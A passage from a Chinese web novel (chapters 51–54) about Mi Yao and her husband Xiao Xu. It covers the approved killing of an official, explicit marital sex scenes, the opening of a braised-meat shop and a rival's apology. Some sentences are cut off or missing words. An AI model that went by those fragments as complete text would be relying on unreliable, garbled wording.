宓瑶看向方才领她过来的仆人,还没看清场内情况如何就被侍卫捂嘴架开,那么看来在这些侍卫眼中她十分被萧欻看中,要不然也不会一路畅通,无人敢拦。
萧欻扫了眼已经神不附体的吴立平,明白了宓瑶过来是被吴立平设计,但她既然知晓,那就是在女席待腻了,干脆将计就计,想给他施加压力,逼他速战速决。
想到宓瑶看到常旋克没声没息时的诧异,萧欻嘴角微翘:“满意吗?”
“郎君威武,我什么时候不满过郎君?”
宓瑶回以淡笑,虽然不似往常热切,但相比进节度使的冷若冰霜,已经让人看着顺眼许多。
萧欻送了宓瑶到府,才返回节度使。
两人一人骑马一人坐车,中途什么话都没说,等到萧府,萧欻也只是交代了一句这几日会忙事晚归,就转身离去。
虽然话说的不多,但宓瑶依然感觉到了萧欻整个人散发的轻松愉悦。
看着他的背影就仿佛看到一屏色彩鲜艳的孔雀羽展开。
偏生她腹中没什么可以让他败兴的话,只能说这次是真叫他装到了。
*
见着虞少阳,宓瑶便告诉了他萧欻杀了常旋克的事。
虞少阳怎么猜也没猜到萧欻会用那么简单粗暴的方法对付常旋克,担忧的同时,又觉得畅快,算是明白了甄婧时常说萧欻跟宓瑶天生一对是什么意思。
便是他这个亲哥哥想护着宓瑶,也没办法像是萧欻这般果断。
“妹夫乃真豪杰!”
两个时辰前还称萧欻,这会就是与有荣焉的妹夫了。
宓瑶忍不住笑了笑:“阿兄如今不必担心了,萧欻敢在宴席上杀人,还能动用节度使的护卫,说明得了节度使的首肯,剩下就看节度使如何跟圣上斡旋。”
虽然不晓得为什么现实会跟剧情偏离那么多,常旋克不止早死,还死在了萧欻的手上,但哪怕萧欻被她迷得头昏脑涨,还有赵天赫在背后坐镇。
只要有赵天赫的同意,萧欻的行为就不可能脱离理智。
接下来的日子益州城暗流涌动,赵天赫派人带着丧报连着常旋克的家眷都送回了上京。
至于那日与常旋克一同的官员,要不是也溺于酒泉,就是留在了益州。
尹卿馨上一刻还在与方氏她们可怜宓瑶要丢尽脸面,当着所有人的面给常旋克赔罪。
一个个侧着耳朵,眉梢挂着得意,想听假山后的动静。
谁知听来了常旋克纵酒喝死的消息。
尹卿馨第一反应就是不相信,大呼宓瑶夫妻俩害死了她夫婿,让赵天赫为她夫婿做主。
而赵天赫连见都没见她,让文司马给她看了丧报,就把她赶上了回上京的船只。
尹卿馨一走最害怕的就是吴立平夫妻,吴立平被扔到了一个更无关紧要的闲职上,而曾氏则是直接带着赔罪礼到了萧府。
“阿姊不见她?”
听到曾氏求见,虞琇想也知道曾氏是来摇尾乞怜,她兴奋地朝宓瑶禀报,没想到她竟然不见人。
“跟傲慢看不上我的人见招拆招才有意思,她现在过来,不必见她我都能想到她看着我是什么可怜嘴脸,那还有什么见的意思。”
她在曾氏身上没吃过亏,反倒是曾氏被她气哭过几次,这种情况下她没有再去踩吴家一脚的打算。
听宓瑶这般说,虞琇想想也是:“她往后倒霉的日子多着呢,我们痛打落水狗反倒让旁人觉得他们是可怜人,我们咄咄逼人了。”
宓瑶奖励地摸了下虞琇的脑袋:“越来越聪明了。”
虞琇这段日子把心都扑在了学习中馈上,主动央了她找个账房教她算术。
做事越来越成熟有谱,想法也不像往常那般莽撞。
宓瑶倏然有种孩子长大自个老了的想法,摸了摸眼角不存在的皱纹,当即抛下了益州城内的是非,去各家书坊买了几十本新货,顺道在珠翠铺金银楼挂了几百两的账,选了一堆戴不戴无所谓,看着能舒心的物件。
重新躺回软榻,听着府中新买的伶人唱曲,宓瑶才觉得自个活过来了。
只是没快活几天,消失了一些时日的萧欻突然在天还明时出现在她的眼前。
宓瑶看了眼才行到酉时初的漏钟,想了想反应过来——
今个是初一。
第52章 第五十二章【VIP】
萧欻看着面前的宓瑶,眼中有几分新奇。
宓瑶头上没戴繁复华贵的饰品,只裹了一方蓝色扶桑花帕巾,身上是水蓝色同绣纹的短襦套了一层藕荷围裙。
他不是没见过她穿素色的衣裳,但今日看着与往常都不同,气质上添了几分素雅。
而这几分简约素雅显得她白里透红的脸蛋更加艳丽妖娆。
又素又妖,不会让人觉得矛盾,反而想剥开外皮,看看内芯到底是个什么模样。
目光渐渐集中到宓瑶脸上的莹光,萧欻伸手往她的鼻尖一抹,摊开指腹:“汗水?”
听出了萧欻语调中的调侃,宓瑶不晓得他今个怎么那么无聊:“说的像是郎君没见过我流汗水似的。”
“我何曾见过?”
每日见到她不是在困着,就是弄了一堆花花草草,把它们剪来剪去又统统放进花瓶。
她每日吃的要好,但却不可能费力自个做些什么,有一次他还见到她与萧善他们一起捏点心,她在旁边坐着,萧善和萧良在吭哧吭哧的搓圆子。
“是风寒烧坏了脑子突然变得贤惠,还是我又做错了什么招惹你,知晓我要回来特意钻入厨房给我下毒?”
萧欻的冷笑话让宓*瑶想起这段时间益州城的风风雨雨,都在说赵天赫极力培养萧欻,俨然把萧欻当做了继任。
她听到这说法的时候没太大的感觉,而如今看到萧欻,就明白了那句春风得意马蹄疾。
萧欻整个人都透着惬意。
当然这份惬意也有可能是他马上要进行喜欢的运动,过于兴奋而产生。
原本浑身都是厨房的油腻,宓瑶不想靠萧欻太近,但瞧见了他的愉悦就觉得瞧不惯。
她往前一倒钻进了他的怀里,无所谓周围是不是有人在注视,伸手抱住了萧欻的脑袋,让他弯腰好靠近他耳畔道:“郎君哪儿没见过,郎君不止见过还舔过。”
大厨房人来人往,萧善他们几个在屋里排排坐啃猪耳朵,随时都会出来,宓瑶的声音越来越低,到最后只剩湿润的气音骚动萧欻的耳膜。
萧欻想抬头却被宓瑶紧紧抱着,如同羽毛若即若离擦过肌肤的触感继续,宓瑶慢条斯理地在萧欻耳边讲述了他是如何舔舐她肌肤上的汗液,连带她半晕时也感觉到了他舌尖碰触了她踩在他胸膛上的脚趾。
直到感觉萧欻的肌肤比她厨房的灶台还燥热,宓瑶才松开了他,目光往下瞟了眼,她把身上的围裙往他手上一放:“郎君拿去遮遮丑罢。”
说完转身就往浴池走。
萧欻抬手下意识要抓她,不过只碰到了她的裙摆,感觉到滑溜的布料清凌凌地从他掌中掠过。,非肌肤的碰触让他敏感肿胀更加胀痛,还真需要拿着薄薄的围裙放在身前遮丑了。
宓瑶今个会在厨房,是因为霜华和虞琇想到了她的两个店铺要经营什么。
两家铺面都在闹市,一家在满是金铺银楼的街道,一家则在多是酒楼杂货一类更多的市集入口。
地段更贵的店铺,霜华与虞琇觉着要么卖珠翠茶叶这一类贵重的东西,要么宓瑶费些心力,把她平日里保养的方子集一集,做一些护肤膏与香露来卖。
至于入口那间做吃食最好,而选品也简单,不做小炒汤面一类费人力,利润低廉食物,而是直接卖熟食。
而这熟食也与宓瑶有关,正是前段时日她跟厨房的厨子研究出来的卤煮。
不管是在江南还是益州她们都没吃过满是香料药材卤出来的菜品,第一次吃就惊为天人,没想到除了蒸炒煮还有这般做肉的法子。
对于两间铺面都以宓瑶展现的优势开设,说起来霜华她们还是受了萧良的启发。
她们想品类想的魂不守舍,萧良看到后就说娘亲的铺子为何要卖旁的东西,不卖跟娘亲有关的东西,算是一语惊醒了梦中人。
两人立刻开始想宓瑶平日会做的事情,会吃的东西,然后就发现宓瑶就是一座取之不竭的宝山。
宝山这话是霜华她们哄宓瑶同意时亲口所说,除此之外,还说了什么神女手段,要造福百姓,宓瑶被哄成了翘嘴,才一改往日作风,亲自到厨房跟厨子一起改进卤煮的材料,一道道的试验口味。
沉入热水中,宓瑶不觉得在厨房试配方有多累,但瞧见萧欻满是侵占性的眸子就觉着累了。
那,她寥寥几次见到萧欻,他瞧她都是这种眼神。
像是被她发现他残暴的心性后他就懒得隐藏,直白地让她知晓他对她有强烈的占有欲、望。
的声响,宓瑶注意到暖房有人进来时,萧欻已经站在了浴池边上,从上至下地看着她。
散。
宓瑶往后游动跟萧欻拉开了距离,停下后伸长胳膊把四周散落的花瓣往身前聚拢,做完一切确定萧欻眼中的她不那么光溜,她才抬头看他:“郎君不敲门?”
“敲了,你没听见。”
“那该大声点敲。”
听出宓瑶的不欢迎,萧欻抬了竹椅坐在了池边,瞧着她就是不移开视线:“那扰了你怎么办?”
“郎君突然进来才是扰了我。”
宓瑶这个人有时候会有些犟性子,特别是在知晓萧欻对她动心,明明该身处低位,却无时无刻想压她一头的时候。
所以面对萧欻似笑非笑像是在逗宠物般的眉眼,她手脚摆动又游到了靠近他的池边,双手搭在杉木上,抬眸对上了他的目光:“郎君就那么喜爱我,一刻也不愿与我分别?”
“我是来与你说,我未曾舔过你的脚趾。”
低哑的嗓音正经八百地说什么舔,什么脚趾,怎么看他这趟来的主要意思都不是解释。
宓瑶垫脚伸出中指把萧欻随着说话视线下滑的颌角往上抬高,不在乎这个动作会让她裸出的肌肤面积更大,导致萧欻的视线角度越发控制不住。
热水熏染过的肌肤比寻常更水润光泽,不止是脸颊,宓瑶全身都泛起了娇嫩的粉色,如同熟透的蜜桃让人瞧见津液就不受控的肆意分泌。
萧欻喉结滑动,自以为镇定的神态中充斥着幽深的暗色。
“江宁郡王问益州借兵。”
“嗯?”
暧昧的气氛中两人每一次呼吸都充满了黏腻拉扯,宓瑶以为萧欻张嘴是要叫她小妖精,谁想到他开口冒出了一句让人摸不着头脑的话。
“父君有意借兵,并且由我领兵前往江宁。”
对视片刻,宓瑶趴回了池边,想了想江宁郡王这个称呼,终于在记忆里翻出了那么一个人。
是原主的追求者之一。
若不是有萧欻横插一脚,原主不是嫁给江宁郡王,应该就是淮南节度使。
“想起是谁了?”
萧欻观察宓瑶的神情,他提醒她的时候不觉,此时见她真因为想起某个男人而神情恍惚,便有了妒恨的情绪升起。
这股情绪让萧欻皱眉抹去了下颌的湿润,仿佛擦掉了宓瑶在他身上留下的痕迹,他的心绪便能少受她的影响。
“想起了,郎君跟我提起这事是想说什么?总不会是要怪我太美吧?”
“与你说一声罢了,我因你美而娶你,又怎么会嫌你太美。”
说起来她的美给他带来了不少东西。
在没娶她之前,他未曾想过自己做事有何不足,旁人说他是赵天赫的凶犬,他也乐意做赵天赫手中的利刃。
从未想过这般的他在赵天赫眼中是胆量才智俱有,野心却不足。
他觉着他对常旋克动杀心,是衡量再二他死了对局势无碍,活着反而会时不时给益州添些小麻烦。
但赵天赫却说他是终于长大,在感情上学会了占有与维护,不失望他感情用事,反倒觉得他比以往更有血性,打算把他培养为益州的继任者。
萧欻盯着宓瑶柔媚漂亮的眼瞳,所以说他因为她起的一时意气,促使他得到了更高的地位,更强的权力。
就是这般外头还有人说她是祸水,不知美人是英雄胆。
“那郎君是想与我说什么?”
见萧欻光看她不说话,宓瑶没兴趣在旁人的目光下沐浴,有些不耐地问道。
“没什么可说。”
他提起江宁郡王只是一时顺嘴,提了就提了,他不好奇江宁郡王与她有过什么过往,反正如今她是他的女人。
死了常旋克,又来了江宁郡王,外头还游荡了个桓冠斌,往后不知道还会有多少牛粪移来,他们让他晓得她美的有多万里无一,而他若是不想她被抢走,除却给她上供金银滋润,还需费神注视看好了她。
既没什么可说,萧欻便站起开始脱衣,宓瑶瞧他眉目还残留着厉色,动作却干脆利落,不由扯了扯嘴角,觉着他装模作样,说什么追过来是为了跟她解释。
实际上就是不想浪费待在萧府的每一刻,就想追着她跑,馋的要命的想吃肉。
瞧不惯萧欻的模样,等他下水后,宓瑶借着水流的浮力,脚不停上抬,涂了蔻丹的脚趾不停从他的唇边滑过,她的目光既媚又挑衅。
往往复复,等到萧欻终于张嘴碰触了一下她的脚尖,她那股较劲才消失无踪,眼角眉梢流露出得意的情态。
不过她的得意没有保持太久,因为下一刻萧欻就紧紧按着她的脖颈,狠狠地吻上了她的唇,把那一点似麝非麝的香气过渡到了她的嘴里。
第53章 第五十三章【VIP】
“娘子,你说萧欻与嫮嫮的关系到底是好还是不好?”
在宓瑶的劝说下,虞少阳夫妻最终还是没搬,也就是因为没搬,今个才撞到了尴尬的一幕。
他们吃过饭带着萧善他们散步,然后撞见了一身湿的萧欻从暖房把宓瑶抱出来,宓瑶趴在萧欻怀里,头上盖了件衣裳把整个人都遮的严严实实。
衣裳一看还是萧欻的衣裳。
而抱人的萧欻除了身上的潮湿,面色还透着一股回味无穷的餍足。
都是成人此中意味,不必明言。
萧欻碰到他们能大大方方的打招呼,但他却避之不及的红了脸,到底是武将,到底是年轻夫妻。
甄婧听到他的话,没好气道:“两人自然是恩爱,你少嫉妒萧镇使的本事,少想他们的不好。”
她这会想起萧欻抱着宓瑶就像是抱着一朵轻巧的云,越想越觉得面红心跳。
往常不觉,现在一开她就发现两人的身形相差巨大,从体量上感觉,宓瑶还没有萧欻的一半,那两人亲密时岂不是萧欻光是影子就能将宓瑶吞没。
“你别想了!若是要想也想想我们,少想旁人。”
甄婧的脸越来越红,虞少阳这些日子下来也摸透了她以往隐藏性子,知道她此刻脸红一定是脑海里有什么不该有的画面。
“我们有什么好想,再说嫮嫮不是旁人。”
妹妹不是旁人这件事那能用在这里。
虞少阳瞧着甄婧的肚子又不能向她证明,他说的他以往是怕她觉得不够斯文才留有余手,只能一边气闷,一边不甘地为自已辩解,最后收获甄婧评价的人还没老就只剩一张嘴了。
夫妻俩说这些话都避开了孩子们,对他们编了借口说宓瑶在暖房睡着,他们阿爹好意去抱她回房睡觉,让他们别去打扰。
但萧善哪能接受萧欻抱她娘亲,没过一会她就偷偷溜到了正房。
“娘亲!娘亲……”
在门口拍门的萧善很快被抱走,但短暂的敲门声依然让宓瑶昏沉的脑子有了几分清醒。
她往床榻里一滚:“郎君再耕下去,田都要耕坏了。”
眼眸雾蒙蒙的一片,宓瑶几次用力眨眼再睁眼都没看清漏钟。
但想想现在一定时候不早。
萧欻回来时天还是亮的,在浴池两次,她被萧欻抱回正房又是两次。
如果不是萧善打岔,说不定还会有第三次。
旁人一个月两日同房,是因为人老了体力不成,每一次都需要半个月积蓄精力,而萧欻倒好是把每一日满溢的精力积蓄半个月,然后集中到一天发泄,想活生生把她累死在榻上。
“我饿了。”
见萧欻没把她说的耕坏的田放在心上,手钻进了她的软衾里,她握住他的手腕,急忙开口说道。
说完触到萧欻猩红眼神,怕他误会了她说的饿,她补充道:“肚子饿。”
“刚刚不是饱的都凸出来了。”
宓瑶:……
她就知道。
“是晚膳没吃,累的胃空了……算了,反正说什么你都能想歪,你饿死我算了。”
说到胃,宓瑶就想到了她害怕的时候说过他能把她胃捅穿,以防他还有话说,她干脆发脾气转身背对他。
“少吃一餐怎么就能饿死了。”
萧欻嘴贱道。
他是真的还没尽兴,上元节那日在画舫他只是浅尝即止,本想回到府邸好好品尝,谁知道两人在马车上吵了一架。
那时他就没吃饱,而后常旋克死那日,他光是看着她不用碰她都能硬,活生生煎熬了半个月,他不觉得只吃四次就能吃饱。
再者说水里又不好发力,怎么能算是吃。
所以算下来也才吃了两次,而两次中她有一次说他喝了她的洗脚水太脏不愿意配合他,所以他实打实的只吃了一次。
比起食物,萧欻明显更想吃宓瑶,而看着她满是怨气的背影,他还是起了身去厨房拿菜。
“起来坐到桌边等着,别等我把食物拿回来你已经睡着了。”
萧欻关门离开前,朝垂下的洒金帐幔说道,他甚至觉得宓瑶这会就已经闭眼睡了。
而等他拎着食盒回来,果真桌前不见人影,掀开帐幔,他离开后宓瑶的姿势就没变过。
“是又想尝尝地动的滋味?”
说着,萧欻一只腿已经压上了榻,宓瑶没有看他也能感觉他的气息在逐渐逼近。
这是演都不演了,直接露出色鬼本性。
宓瑶怒气地转过身,瞪着萧欻:“我腿与手都没力,你喂我吃。”
萧欻才出门一趟回来,所以格外能,特别是榻上,温靡的纠缠几
触到了萧欻面上的迟疑,宓瑶以为他是讲西,软软趴在枕头上:“我饿的浑身无力哪儿都去不了,
“浑身无力,那还,要不要我帮你代劳?”
萧欻说完,就的椅子上。
宓瑶看着萧欻动手把食物从红漆盒里拿出来,一一摆在桌上。
东西都是她爱吃的口味,应该是厨房见她没用晚膳,给她特意留了饭菜。
见萧欻拿起碗筷,宓瑶不在意他动手喂她吃饭,但想到他方才说的代劳,蹙了蹙眉:“郎君还是想法子控制心绪,莫要那么喜爱我了,我可不喜欢吃旁人嚼碎的东西。”
萧欻本在夹菜,听到宓瑶的建议,他手顿了顿,下一刻又恢复了自然。
“你是我特意娶的美人,在你还美貌时我不喜爱你,难不成要等到你年老色衰,我再把你当做宝贝。”
“就怕郎君现在心爱我的程度,等到我老了美貌不再,郎君也舍不得弃了我。”
“那你便是多想了。”
添好了饭菜,萧欻扯过凳子在宓瑶的对面坐下,筷子夹菜伸向她的嘴边,“我现在对你容忍,是因为贪恋你皮肉,等到你皮松肉弛,我哪会多看你一眼。”
萧欻说着顿了顿:“姜大夫说你长期大量的服用麝香,老的会比旁的女人更快。”
换言之就是她很快就会年老色衰,他也不会再围着她转。
宓瑶盯着眼前的板筋肉,恶狠狠吃到嘴里用力咀嚼。
是她小看了萧欻,论起气人他怎么会输。
虽然被萧欻坏了心情,但宓瑶双手依然裹在被衾上,没有伸手接过碗筷吃饭的意思。
她都被他说的不高兴了,那还不使唤他,那就是生闷气,自个吃亏。
“郎君当我是做工的苦力,还是马上要上战场的兵,一勺子就要舀半碗饭,我还没嚼两口,你就接着下一口。”
宓瑶没有惯着萧欻的意思,她管他有没有伺候人喂饭的经验,她都是慢悠悠地嚼完了一口才会去接他放在她嘴边的下一口。
谁知道他这人那么烦,她不张嘴他就用瓷勺戳她嘴巴。
那么急明显就是觉得他方才第二次结束后,没扣干净的东西到现在也流干净了,可以接着继续干活了。
萧欻没喂过人吃饭,甚至没注意过旁人是如何喂幼儿吃饭,既没做过也没看过,他自然只能按着他理解的方式进行。
刚喂宓瑶第一口时,他觉得有趣,但这丝有趣立刻让他觉得他太容易被宓瑶摆弄,伺候她吃饭都能伺候出趣味。
所以寒意侵袭五官,凤眸浮现不耐。
冷峻的面皮紧绷不悦,那手上的动作自然不会那么顾忌宓瑶。
但他忘了宓瑶的脾气,一个张嘴就能把男男女女骂哭的人,她什么时候受过委屈。
把勺子上的饭食减少了一半,他盯着宓瑶像是兔子般小口小口嚼动的腮帮,突然道:“若是我与你没有成婚,我做事让你不舒心,你会如何对我说话?”
他从别人的嘴里听过她说话如何不留情面,也亲耳听过她骂人乞丐。
这让他好奇抛开两人的关系,她对他是不是也不会有一句好话。
在暖房胡闹了半晌,两人回到屋内才架了两个暖炉,还没来得及晾发就又摸到了榻上,所以几个时辰下来,两个人的头发都没有干透。
宓瑶要比萧欻好一点,湿润但有了干的迹象,而萧欻不耐热,屋里的温度加上运动流出的汗液,他的头发看着比在水里时还湿。
浓密透着粗硬质感的发丝一屡屡贴着头皮,没有把他的脑袋显大,反而凸出了他五官的深邃,特别是那缕从他额上黏到鬓角的湿发,给他英俊的模样添了一丝潮湿轻佻。
“就是没有成婚,郎君你做错事我也会好好与你说,谁叫你长得好看,我对好看的人极有耐心。”
宓瑶说完,下颌指了指汤,“给我盛半碗汤。”
她两句话问衔接的太快,让人分不清她是说真的,还是为了他喂她喝汤。
她的貌美毋庸置疑,至于他。
有人说过他阳刚端正,但大多都是逢迎拍马,到处搜刮堆砌可以夸奖他的词汇。
除却打仗上的事,他外表上唯一受过的真心实意的夸奖就是物件似驴。他听得出那些同僚说这话的时候,是真带着惊叹和羡慕。
但这一点偏又是宓瑶最不喜欢的地方。
方才在水里,她还一脸惊恐不似作伪,说在水中看更大更吓人了。
旁人觉得好的她不觉得好,那是不是说明旁人从未说过的好看,她是真觉得赏心悦目?
吃饱饭后宓瑶说她吃得太饱不方便颠来颠去,免得吐他一身,对此萧欻没说什么,只是把她抱到了她的房里,给她安排了一个背对他的姿势。
“这般就不会吐在我身上,也不会吐在我房里。”
宓瑶:……
臭男人去死!
第54章 第五十四章【VIP】
翌日宓瑶看着自己膝盖上的青紫,把萧欻从头到尾骂了一遍,他偶尔会流露出一丝情难自禁不知道该怎么对心上人的纯情姿态,但干的事跟纯情完全沾不上一点边。
因为萧欻埋头苦干到天亮,把初一的活加班到了初二,宓瑶初二一天等于全废了。
等到初四她躺到腰酸才有了找点事做的想法。
靠近闹市的铺子定了卖卤肉后,宓瑶只是跟厨子商量着如何改进配方,至于店铺需要的人手还有店铺如何修缮她都没管。
虞琇她们也没拿琐碎的事情烦她,等到做好了大概,剩招牌没定时才来讨她的意见。
“这是阿姊的店铺,取个雅致的名字才配得上阿姊,但卖吃食的铺子名字取的太雅,又怕旁人不知晓铺子是做什么,不敢往铺子里进。”
按着虞琇的想法,卤肉虽然新奇,但铺子里主打的却不是什么高级食材,定价不高就代表着买的客人都是平民百姓,既然如此太雅致就是赶客。
但这又是宓瑶的第一家铺子,益州那么多人看着,就怕让人拿来说嘴。
宓瑶没纠结虞琇头疼的这些事:“就叫街口卤肉铺,简单直接又容易记忆。”
定好了店名,宓瑶又抛开了这事,等到了开业当日,萧善与萧良提醒她店铺要开了,看出他们想去凑热闹,她才懒洋洋地带着他们出了门。
店铺做午市和晚市,宓瑶他们到的时候,还有小半个时辰才开业。
让侍女摆了两个贴有“开业大吉”的花篮放在门口,宓瑶抱着盆发财树放在了柜台上。
萧善和萧良有样学样,一个送了个小葫芦摆件,一个送了算盘,萧翼没来,则是让弟弟妹妹给他带了一对黄铜蟾蜍。
一路上见他们揣着兜,时不时往怀里看一眼,她还想他们是在看什么,没想到是带了礼。
小小年纪也不晓得从哪学的那么周到。
“你兄长还道不需要准备开业红礼,幸好我没听他的,不然连孩子们都比不过。”
甄婧笑笑道,因为觉着这个铺子宓瑶就是拿给虞琇玩,虞少阳就没放在心上,但瞧瞧孩子们哪管那么多,知道店铺是宓瑶的,就悉心准备贺礼。
“不用与我们比,大人与孩子不同,瞧我阿爹就没送贺礼。”
萧良快人快语,就怕宓瑶忘了萧欻不讨人喜欢。
甄婧这段日子习惯了萧良时不时的语出惊人,为萧欻解释道:“虽然没送贺礼,但这铺子就是你爹爹送给你娘亲,这便是最大的礼物。”
“听说是送了个脏脏的空屋子,小姨她们费了许多功夫才打整妥帖。”
“嗯嗯,坏坏!”
萧善理解能力惊人,二哥表情再天真无邪,她也听得出这是在说萧欻坏话,在旁边应和道。
甄婧啼笑皆非,看向宓瑶,发现她也在笑,没有阻止孩子说萧欻坏话的意思,反倒有几分乐见其成。
想想这也是萧欻活该,谁让他不重视他唯一的美人夫人。
几人说了几句,注意力就转到了面前这问即将开业的铺子。
店铺地面铺的是水磨方砖,干净整洁,店中分作三部分,最里面是熟食加工的灶台,用竹帘遮挡,可以看到里面是在做什么,但不会看清具体制作食物的步骤。
进门最前面是柜台,除去一张老榆木桌子,上头还挂了一排竹片,写着店内售卖的熟食。
除却常见的卤味种类,还有食材比较特别的鲍参翅肚,只是这一类都标明了要提前预定。
“阿姊你说收账和切肉不要放在一块,我们就想了这个法子,客人可以进门先看看都有什么熟食,选好了之后来柜台买牌子,然后再去拿菜。”
虞琇还带宓瑶他们看了柜台旁边的阶梯架,架子错落有致的放了各种材质与各种形状的盒子。
从竹编到陶瓷,形状从方到圆,宓瑶目光停留一只红漆海棠花提梁攒盒上,这盒子看材质不算贵重,但做工精巧符合她的喜好。
宓瑶把盒子提了起来,想着昨日送到府里的鸢尾和海棠,瓶花做多了,倒是可以试试做盒景。
“这些都是用来打包食物的盒子?”
宓瑶看了两眼就朝虞琇问道。
虞琇点头:“寻常就用油纸装袋,若是有些人家有需要,就可多买一个盒子,就是不买这些盒子摆在这儿也显得铺子没那么空荡。”
店内不做食堂,所以没有摆放桌椅,大部分些空,放食盒算是不错的巧思。
“店铺明亮宽敞,买菜装菜的都是娘子,还统一穿着浅色围裙,瞧着就觉得里头卖的食物一定干净,再加上嫮嫮调味出来的独一无二香料,铁定客似云来。”。
她不想搬离萧府,除却舍不得有宓瑶和孩子们陪伴之外,就是萧府厨房做的饭菜实在好吃。
在上京时她跟虞少阳请的也有厨子,来益州前她还想若是口味适应不了怎么办,要不然把厨子一起带过来。
上京,不愿远走他乡,她才放弃了这个想法。
到了萧府后,她才发现自己的担心多余,宓瑶实在太会享受,厨房做饭不吝啬食材,口味比她以往吃的好了不止一倍。
除此之外,。
就拿卤煮来说,她吃过药材煮出来的肉食,但却不知道宓瑶是如何搭配,能把食物煮出浓油赤酱的诱人色泽,香味还如此霸道。
一口咬下去简直惊为天人。
“卤煮的方法是我偶尔看过的食谱书上的记载,我是沾了光。”
宓瑶解释了之后,跟着肯定了虞琇和霜华这些日子的努力。
她原本没对这个练手的铺子抱太大希望,就想着虞琇她们冲劲满满,铺子拿出去收租,不如拿给她们折腾。
但现在看来这店只要后期的管理能跟上,不可能会亏。
“就等着你们给我赚银子了。”
把艰巨的任务交给别人,难得出门一趟,宓瑶则是轻松潇洒地去花银子。
跟甄婧和孩子们逛了半晌,买的东西让人送回了萧府,他们则是又倒回了卤肉铺附近,在铺面对面的茶楼要了点心与茶水,看着铺子开业后的景象。
“闻到香味了!”
萧良一进街口就惊喜道。
卤煮的香味霸道,只要一开火,半条街都是香味。
不少人知晓卤肉店是萧府的产业,就等着开业想看看宓瑶要卖些什么,一开张就有想讨好萧欻的人送上重礼。
被拒绝后才就换做了照顾生意,不许包圆了菜食,就挑着贵价的食盒买,还预定了需要等上半天的鲍参翅肚。
卤肉铺进进出出,小半个时辰过去,里头的店员才拿着小份的试吃招揽来往的普通客人。
等看到从店铺里出来的客人手里不再拎着精美的提盒,而是拿着油纸包,甄婧大大舒了一口气。
她放松后,见桌上人都看向她,羞赧地笑了笑:“我怕食物都被那些不懂欣赏,只为讨好妹夫的人买了,到最后弄得真正的客人们都没得吃。”
现在路过的行人慢慢进店,她就放下了心,觉得食物没有浪费。
“对,得让懂得欣赏的人吃!”
萧良在一旁应和,说完看向宓瑶,“娘亲,我想吃耳朵,就吃一点点。”
为了调试开店的口味,最近萧府天天吃卤菜,宓瑶吃腻了想换菜,其他人还不许,觉得卤味日日吃怎么都不会腻。
尤其是萧良迷上了吃猪耳朵,前两日上火戒了几天,今日闻到味道又馋了。
“吃豆豆!”
萧善也馋了,水汪汪的眼睛瞪溜圆,可怜巴巴地噘着嘴摇晃宓瑶的胳膊。
瞅着从脸到眼睛都圆鼓鼓,装可怜也像是装可爱的萧善,真是教会徒弟饿死师傅,她教小萝卜的演戏技巧,小萝卜最后都用在了她身上。
“去吧,少买点,要是想凑热闹,可以在铺子里待会。”
至于捣乱乱跑,有虞琇在她根本不担心这个,说着宓瑶往萧良的小兜兜里放了一两银子,“算我借给你们的,到时候发月钱记得还我。”
甄婧听到还有借银子这说法,愣了愣,但看萧良萧善没什么意见,还认真地说记着了,会尽快还给宓瑶,又觉得这般好,不若让他们看了大人的花钱无度,有样学样不把银子当回事,长大说不定就得长歪。
两个孩子随侍女一走,甄婧就道:“在上京时,你兄长担忧你跟萧家的三个孩子处的不好,现在算是放了心,有时候我看着觉得三个孩子像是你带来萧家,而不是萧家的孩子。”
“可别那么想,这般也太给萧欻省事,他的孩子就是他的孩子,我只是与他们共处同一屋檐下,和平共处罢了。”
说起来宓瑶就觉得吃亏,当初她说管三个孩子,前提是萧欻不对她真刀实枪的来,谁知道萧欻水磨豆腐,最后还是捅她个地动山摇。
这样交换就不成立了,可她也不可能因此不搭理萧善他们,越想越觉得萧欻鸡贼。
交换时不说同意还是不同意,沉默不语,她当他是默认,如今她要是质问他,他肯定说他压根没点头,是她自说自话。
宓瑶气鼓鼓地戳了戳桌上的糕点,就当是戳萧欻。
甄婧还要说什么,被敲门声打断,还以为是萧善他们回转,打开门却发现是曾氏与潘氏。
两人的面色都有几分憔悴,特别是曾氏,没了往常傲慢姿态,穿戴都寡淡了许多,看着老了五六岁。
这段时问曾氏没少到萧府求见宓瑶,宓瑶猜想到她想说什么都拒了,谁知道上门拒了,她还能打听到外面来,逮住了她这些天唯一一次出门的机会。
“九弟妹许久不见了,你还是那么漂亮,貌若天仙,衬得这简陋的屋子都亮堂许多。”
宓瑶差点没被曾氏这番讨好的话肉麻到喷茶,可惜她嘴里没有茶,只能压抑住了嘴角的抽动,瞧向她道:“三嫂别这样,你这般我害怕。”
曾氏面容因为宓瑶的话更加僵硬,若是可以谁想送上门让人侮辱。
但吴立平押错宝,见赵天赫没有因为萧欻对常旋克的张狂而疏离萧欻,反倒更看重萧欻,也不知酒宴那日到底发生了什么,反正吴立平现在怕的日日龟缩在家,一见着她就催促她找宓瑶赔罪,她只能一次次的求见宓瑶,直到得到她的原宥为止。
“以往是我的错,还请弟妹不要跟我计较,弟妹貌美,我往常就是嫉妒弟妹才说了那些不中听的话。”
见曾氏笑比哭还难看,宓瑶怕逼急了曾氏,曾氏来哭哭啼啼跪到你原谅我那套,就开口道:“过来给我倒杯茶水。”
听到宓瑶让她伺候她,曾氏恨得要把一口银牙咬碎,但还是依言上前倒了茶水。
把水倒完放下茶壶,她才注意自己气急了是单手敷衍倒的水,忐忑地立在旁边等着宓瑶挑毛病,就听见宓瑶拿起茶盅抿了口。
“好了,我喝了你斟的茶,受了你的赔罪,往后我们的恩怨一笔勾销。”
因为认定了宓瑶一定会趁机狠踩她一脚,曾氏思绪乱飞,所以听到宓瑶说一笔勾销,她一时没反应过来,愣愣看了宓瑶片刻,才确定自己没听错。
“弟妹……”
“还要我说一次?”
宓瑶倒不是有什么以德报怨的美好品德,单纯觉着曾氏听不到她接受赔罪就会一直缠着她,而她嫌烦,说句原谅又不费工夫。
再者往后曾氏要是又翘尾巴,也不妨碍她继续把她怼哭。
“我听着了,弟妹不必再说一次,我只是没想到弟妹的心胸会那么宽广,都是我被妒恨迷了心窍,没事找弟妹的麻烦。”
本以为要被折辱到极致,谁想到这般简单就解决了,曾氏喜上眉梢,再看宓瑶倏然觉着她的眉眼是真好看,而不是没一点正经相的妖媚。
“过去的事不必再提。”
听着被自己骂哭过的人一脸感动惊喜道歉,宓瑶觉得有些怪异,所以她看向了潘氏:“你来又是做什么?看热闹?”
闻言,曾氏也看向了潘氏。
